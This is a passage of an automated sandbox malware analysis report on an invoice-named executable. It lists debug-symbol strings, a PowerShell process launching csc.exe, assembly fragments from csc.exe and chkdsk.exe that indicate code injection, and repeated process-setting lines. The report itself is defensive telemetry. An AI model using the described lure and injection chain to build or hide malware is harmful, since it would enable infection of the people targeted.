Source:	Binary string: wntdll.pdb source: csc.exe, csc.exe, 0000000E.00000002.1567920536.0000000005370000.00000040.00001000.00020000.00000000.sdmp, csc.exe, 0000000E.00000003.1424584842.0000000005012000.00000004.00000020.00020000.00000000.sdmp, csc.exe, 0000000E.00000002.1567920536.000000000550E000.00000040.00001000.00020000.00000000.sdmp, chkdsk.exe, chkdsk.exe, 00000017.00000002.3766101465.00000000053B0000.00000040.00001000.00020000.00000000.sdmp, chkdsk.exe, 00000017.00000003.1567081999.000000000505D000.00000004.00000020.00020000.00000000.sdmp, chkdsk.exe, 00000017.00000002.3766101465.000000000554E000.00000040.00001000.00020000.00000000.sdmp, chkdsk.exe, 00000017.00000003.1569342109.0000000005202000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: Microsoft.PowerShell.Commands.Utility.pdb source: WERFCB2.tmp.dmp.17.dr
Source:	Binary string: mscorlib.ni.pdbRSDS7^3l source: WERFCB2.tmp.dmp.17.dr
Source:	Binary string: Microsoft.VisualBasic.pdb source: WERFCB2.tmp.dmp.17.dr
Source:	Binary string: \??\C:\Windows\symbols\dll\System.Core.pdb" source: powershell.exe, 00000009.00000002.1606616466.000001CE29F9E000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: System.Numerics.ni.pdb source: WERFCB2.tmp.dmp.17.dr
Source:	Binary string: chkdsk.pdbGCTL source: csc.exe, 0000000E.00000002.1567571580.0000000004F17000.00000004.00000020.00020000.00000000.sdmp, KAnMKAQhHABqpRuDRpLtww.exe, 00000014.00000002.3764224956.0000000001558000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: Microsoft.PowerShell.Commands.Management.ni.pdb source: WERFCB2.tmp.dmp.17.dr
Source:	Binary string: System.DirectoryServices.ni.pdb source: WERFCB2.tmp.dmp.17.dr
Source:	Binary string: \??\C:\Windows\System.Management.Automation.pdbpdb source: powershell.exe, 00000009.00000002.1604691590.000001CE29C10000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: Microsoft.PowerShell.Commands.Utility.pdb" source: WERFCB2.tmp.dmp.17.dr
Source:	Binary string: System.Management.ni.pdbRSDSJ< source: WERFCB2.tmp.dmp.17.dr
Source:	Binary string: chkdsk.pdb source: csc.exe, 0000000E.00000002.1567571580.0000000004F17000.00000004.00000020.00020000.00000000.sdmp, KAnMKAQhHABqpRuDRpLtww.exe, 00000014.00000002.3764224956.0000000001558000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: mscorlib.ni.pdb source: WERFCB2.tmp.dmp.17.dr
Source:	Binary string: \??\C:\Windows\Microsoft.Net\assembly\GAC_MSIL\Microsoft.VisualBasic\v4.0_10.0.0.0__b03f5f7f11d50a3a\Microsoft.VisualBasic.pdb source: powershell.exe, 00000009.00000002.1606616466.000001CE29F9E000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Windows\mscorlib.pdb source: powershell.exe, 00000009.00000002.1606616466.000001CE29F1E000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: Microsoft.Management.Infrastructure.ni.pdbRSDS source: WERFCB2.tmp.dmp.17.dr
Source:	Binary string: \??\C:\Windows\symbols\dll\System.Management.Automation.pdb source: powershell.exe, 00000009.00000002.1606616466.000001CE29F9E000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: e.pdb source: powershell.exe, 00000009.00000002.1606616466.000001CE29F9E000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: Microsoft.VisualBasic.ni.pdb source: WERFCB2.tmp.dmp.17.dr
Source:	Binary string: Microsoft.PowerShell.Security.ni.pdb source: WERFCB2.tmp.dmp.17.dr
Source:	Binary string: System.pdb` source: WERFCB2.tmp.dmp.17.dr
Source:	Binary string: System.DirectoryServices.pdb source: WERFCB2.tmp.dmp.17.dr
Source:	Binary string: wntdll.pdbUGP source: csc.exe, 0000000E.00000002.1567920536.0000000005370000.00000040.00001000.00020000.00000000.sdmp, csc.exe, 0000000E.00000003.1424584842.0000000005012000.00000004.00000020.00020000.00000000.sdmp, csc.exe, 0000000E.00000002.1567920536.000000000550E000.00000040.00001000.00020000.00000000.sdmp, chkdsk.exe, 00000017.00000002.3766101465.00000000053B0000.00000040.00001000.00020000.00000000.sdmp, chkdsk.exe, 00000017.00000003.1567081999.000000000505D000.00000004.00000020.00020000.00000000.sdmp, chkdsk.exe, 00000017.00000002.3766101465.000000000554E000.00000040.00001000.00020000.00000000.sdmp, chkdsk.exe, 00000017.00000003.1569342109.0000000005202000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: Microsoft.PowerShell.Commands.Management.pdb source: WERFCB2.tmp.dmp.17.dr
Source:	Binary string: Microsoft.VisualBasic.ni.pdbRSDS& source: WERFCB2.tmp.dmp.17.dr
Source:	Binary string: System.Data.ni.pdb source: WERFCB2.tmp.dmp.17.dr
Source:	Binary string: System.Configuration.pdb source: WERFCB2.tmp.dmp.17.dr
Source:	Binary string: \??\C:\Windows\System.Core.pdbpdb< source: powershell.exe, 00000009.00000002.1606616466.000001CE29F1E000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: Microsoft.PowerShell.ConsoleHost.pdb source: WERFCB2.tmp.dmp.17.dr
Source:	Binary string: \??\C:\Windows\Microsoft.Net\assembly\GAC_MSIL\System.Core\v4.0_4.0.0.0__b77a5c561934e089\System.Core.pdb source: powershell.exe, 00000009.00000002.1606616466.000001CE29F1E000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: System.Management.Automation.ni.pdb source: WERFCB2.tmp.dmp.17.dr
Source:	Binary string: System.Numerics.ni.pdbRSDSautg source: WERFCB2.tmp.dmp.17.dr
Source:	Binary string: System.Data.pdbH source: WERFCB2.tmp.dmp.17.dr
Source:	Binary string: System.Management.Automation.ni.pdbRSDS source: WERFCB2.tmp.dmp.17.dr
Source:	Binary string: System.Management.Automation.pdb source: powershell.exe, 00000009.00000002.1606616466.000001CE29EE0000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000009.00000002.1563023145.0000000B0F501000.00000004.00000010.00020000.00000000.sdmp, powershell.exe, 00000009.00000002.1606616466.000001CE29F04000.00000004.00000020.00020000.00000000.sdmp, WERFCB2.tmp.dmp.17.dr
Source:	Binary string: mscorlib.pdb source: WERFCB2.tmp.dmp.17.dr
Source:	Binary string: \??\C:\Windows\System.Core.pdb source: powershell.exe, 00000009.00000002.1606616466.000001CE29F1E000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: Microsoft.PowerShell.Security.ni.pdbRSDS~ source: WERFCB2.tmp.dmp.17.dr
Source:	Binary string: System.Management.pdb source: WERFCB2.tmp.dmp.17.dr
Source:	Binary string: Microsoft.Management.Infrastructure.pdb source: WERFCB2.tmp.dmp.17.dr
Source:	Binary string: System.Management.ni.pdb source: WERFCB2.tmp.dmp.17.dr
Source:	Binary string: Microsoft.PowerShell.ConsoleHost.ni.pdb source: WERFCB2.tmp.dmp.17.dr
Source:	Binary string: System.Numerics.pdb source: WERFCB2.tmp.dmp.17.dr
Source:	Binary string: omation.pdbVX source: powershell.exe, 00000009.00000002.1563023145.0000000B0F501000.00000004.00000010.00020000.00000000.sdmp
Source:	Binary string: mscorlib.pdbp^ source: WERFCB2.tmp.dmp.17.dr
Source:	Binary string: System.Management.Automation.pdb! source: powershell.exe, 00000009.00000002.1606616466.000001CE29F1E000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: XC:\Windows\System.Management.Automation.pdb source: powershell.exe, 00000009.00000002.1563023145.0000000B0F501000.00000004.00000010.00020000.00000000.sdmp
Source:	Binary string: assembly\GAC_MSC:\Windows\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\System.Management.Automation.pdbPE source: powershell.exe, 00000009.00000002.1563023145.0000000B0F501000.00000004.00000010.00020000.00000000.sdmp
Source:	Binary string: Microsoft.PowerShell.Security.pdb` source: WERFCB2.tmp.dmp.17.dr
Source:	Binary string: Microsoft.PowerShell.Commands.Management.ni.pdbRSDS source: WERFCB2.tmp.dmp.17.dr
Source:	Binary string: System.DirectoryServices.ni.pdbRSDS source: WERFCB2.tmp.dmp.17.dr
Source:	Binary string: System.Management.pdbh source: WERFCB2.tmp.dmp.17.dr
Source:	Binary string: System.Configuration.Install.ni.pdbRSDSQ source: WERFCB2.tmp.dmp.17.dr
Source:	Binary string: \??\C:\Windows\Microsoft.VisualBasic.pdb source: powershell.exe, 00000009.00000002.1606616466.000001CE29F9E000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: System.Xml.ni.pdbRSDS# source: WERFCB2.tmp.dmp.17.dr
Source:	Binary string: System.Core.ni.pdb source: WERFCB2.tmp.dmp.17.dr
Source:	Binary string: \??\C:\Windows\symbols\dll\Microsoft.VisualBasic.pdbD;. source: powershell.exe, 00000009.00000002.1606616466.000001CE29F9E000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Windows\Microsoft.Net\assembly\GAC_64\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\mscorlib.pdb source: powershell.exe, 00000009.00000002.1604691590.000001CE29C57000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Windows\mscorlib.pdb0 source: powershell.exe, 00000009.00000002.1606616466.000001CE29F1E000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: Microsoft.PowerShell.ConsoleHost.ni.pdbRSDS[q source: WERFCB2.tmp.dmp.17.dr
Source:	Binary string: R:\JoeSecurity\trunk\src\windows\usermode\tools\FakeChrome\Release\Chrome.pdb source: KAnMKAQhHABqpRuDRpLtww.exe, 00000014.00000002.3762440528.000000000097E000.00000002.00000001.01000000.00000009.sdmp, KAnMKAQhHABqpRuDRpLtww.exe, 00000018.00000000.1640062378.000000000097E000.00000002.00000001.01000000.00000009.sdmp
Source:	Binary string: System.Configuration.Install.ni.pdb source: WERFCB2.tmp.dmp.17.dr
Source:	Binary string: \??\C:\Windows\Microsoft.Net\assembly\GAC_MSIL\System.Core\v4.0_4.0.0.0__b77a5c561934e089\System.Core.pdb0OJ source: powershell.exe, 00000009.00000002.1606616466.000001CE29F1E000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: Microsoft.PowerShell.Commands.Utility.ni.pdbRSDS source: WERFCB2.tmp.dmp.17.dr
Source:	Binary string: System.Configuration.ni.pdbRSDScUN source: WERFCB2.tmp.dmp.17.dr
Source:	Binary string: System.Management.Automation.pdbmation.pdbpdbion.pdbment.Automation\v4.0_3.0.0.0__31bf3856ad364e35\System.Management.Automation.pdb source: powershell.exe, 00000009.00000002.1563023145.0000000B0F501000.00000004.00000010.00020000.00000000.sdmp
Source:	Binary string: Microsoft.PowerShell.Security.pdb source: WERFCB2.tmp.dmp.17.dr
Source:	Binary string: System.Xml.ni.pdb source: WERFCB2.tmp.dmp.17.dr
Source:	Binary string: Microsoft.VisualBasic.pdb8 source: WERFCB2.tmp.dmp.17.dr
Source:	Binary string: System.ni.pdbRSDS source: WERFCB2.tmp.dmp.17.dr
Source:	Binary string: \??\C:\Windows\symbols\dll\System.Management.Automation.pdb source: powershell.exe, 00000009.00000002.1606616466.000001CE29F9E000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Windows\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\System.Management.Automation.pdb source: powershell.exe, 00000009.00000002.1604691590.000001CE29CE3000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: System.Configuration.ni.pdb source: WERFCB2.tmp.dmp.17.dr
Source:	Binary string: C:\Windows\System.Management.Automation.pdbpdbion.pdb@ source: powershell.exe, 00000009.00000002.1606616466.000001CE29F9E000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: System.Data.ni.pdbRSDSC source: WERFCB2.tmp.dmp.17.dr
Source:	Binary string: System.Xml.pdb source: WERFCB2.tmp.dmp.17.dr
Source:	Binary string: System.pdb source: WERFCB2.tmp.dmp.17.dr
Source:	Binary string: f:\binaries\Intermediate\vb\microsoft.visualbasic.build.vbproj_731629843\objr\x86\Microsoft.VisualBasic.pdb source: powershell.exe, 00000009.00000002.1606616466.000001CE29EE0000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000009.00000002.1606616466.000001CE29F1E000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000009.00000002.1606616466.000001CE29F04000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Windows\symbols\dll\Microsoft.VisualBasic.pdbrogram x source: powershell.exe, 00000009.00000002.1606616466.000001CE29F9E000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Windows\symbols\dll\mscorlib.pdb source: powershell.exe, 00000009.00000002.1606616466.000001CE29F9E000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: Microsoft.PowerShell.Commands.Utility.ni.pdb source: WERFCB2.tmp.dmp.17.dr
Source:	Binary string: System.Management.Automation.pdb3 source: WERFCB2.tmp.dmp.17.dr
Source:	Binary string: System.Core.pdb source: powershell.exe, 00000009.00000002.1606616466.000001CE29EE0000.00000004.00000020.00020000.00000000.sdmp, WERFCB2.tmp.dmp.17.dr
Source:	Binary string: System.Transactions.pdb source: WERFCB2.tmp.dmp.17.dr
Source:	Binary string: System.Core.pdbiy source: WERFCB2.tmp.dmp.17.dr
Source:	Binary string: Microsoft.Management.Infrastructure.ni.pdb source: WERFCB2.tmp.dmp.17.dr
Source:	Binary string: System.Transactions.ni.pdb source: WERFCB2.tmp.dmp.17.dr
Source:	Binary string: System.Transactions.ni.pdbRSDS source: WERFCB2.tmp.dmp.17.dr
Source:	Binary string: System.ni.pdb source: WERFCB2.tmp.dmp.17.dr
Source:	Binary string: System.Core.ni.pdbRSDS source: WERFCB2.tmp.dmp.17.dr

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe"
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe"			Jump to behavior

Source: Factura (3).exe

Static PE information: section name: _RDATA

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 9_2_00007FF887DB00BD pushad ; iretd	9_2_00007FF887DB00C1
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Code function: 14_2_00414074 push eax; retf	14_2_00414173
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Code function: 14_2_00412002 push esp; retf	14_2_00412043
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Code function: 14_2_00414138 push eax; retf	14_2_00414173
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Code function: 14_2_004039F0 push eax; ret	14_2_004039F2
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Code function: 14_2_004239A3 push edi; ret	14_2_004239AB
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Code function: 14_2_004052EB push es; ret	14_2_004052F0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Code function: 14_2_00425B23 push edi; ret	14_2_00425B2E
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Code function: 14_2_00405664 push esp; retf	14_2_0040567A
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Code function: 14_2_00411788 push esp; ret	14_2_00411789
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Code function: 14_2_00411FB3 push esp; retf	14_2_00412043
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Code function: 14_2_053A09AD push ecx; mov dword ptr [esp], ecx	14_2_053A09B6
Source: C:\Windows\SysWOW64\chkdsk.exe	Code function: 23_2_053E09AD push ecx; mov dword ptr [esp], ecx	23_2_053E09B6
Source: C:\Windows\SysWOW64\chkdsk.exe	Code function: 23_2_00772130 push edi; ret	23_2_0077213B
Source: C:\Windows\SysWOW64\chkdsk.exe	Code function: 23_2_00772127 push edi; ret	23_2_0077213B
Source: C:\Windows\SysWOW64\chkdsk.exe	Code function: 23_2_0075E5C0 push esp; retf	23_2_0075E650
Source: C:\Windows\SysWOW64\chkdsk.exe	Code function: 23_2_0075E600 push esp; retf	23_2_0075E650
Source: C:\Windows\SysWOW64\chkdsk.exe	Code function: 23_2_007518F8 push es; ret	23_2_007518FD
Source: C:\Windows\SysWOW64\chkdsk.exe	Code function: 23_2_0076A90C push 69F0026Ch; retf	23_2_0076A91B
Source: C:\Windows\SysWOW64\chkdsk.exe	Code function: 23_2_0076AA4D pushad ; retf	23_2_0076AA6A
Source: C:\Windows\SysWOW64\chkdsk.exe	Code function: 23_2_00770B9C push cs; iretd	23_2_00770BD0
Source: C:\Windows\SysWOW64\chkdsk.exe	Code function: 23_2_00751C71 push esp; retf	23_2_00751C87
Source: C:\Windows\SysWOW64\chkdsk.exe	Code function: 23_2_0076FDC3 push ss; iretd	23_2_0076FDD4
Source: C:\Windows\SysWOW64\chkdsk.exe	Code function: 23_2_0075DD95 push esp; ret	23_2_0075DD96
Source: C:\Windows\SysWOW64\chkdsk.exe	Code function: 23_2_00771FD2 pushad ; iretd	23_2_00772046
Source: C:\Windows\SysWOW64\chkdsk.exe	Code function: 23_2_0076FFB0 push edi; ret	23_2_0076FFB8
Source: C:\Windows\SysWOW64\chkdsk.exe	Code function: 23_2_0076FFA7 push edi; ret	23_2_0076FFB8
Source: C:\Windows\SysWOW64\chkdsk.exe	Code function: 23_2_00771FAD pushad ; iretd	23_2_00772046

Hooking and other Techniques for Hiding and Protection

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1	Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
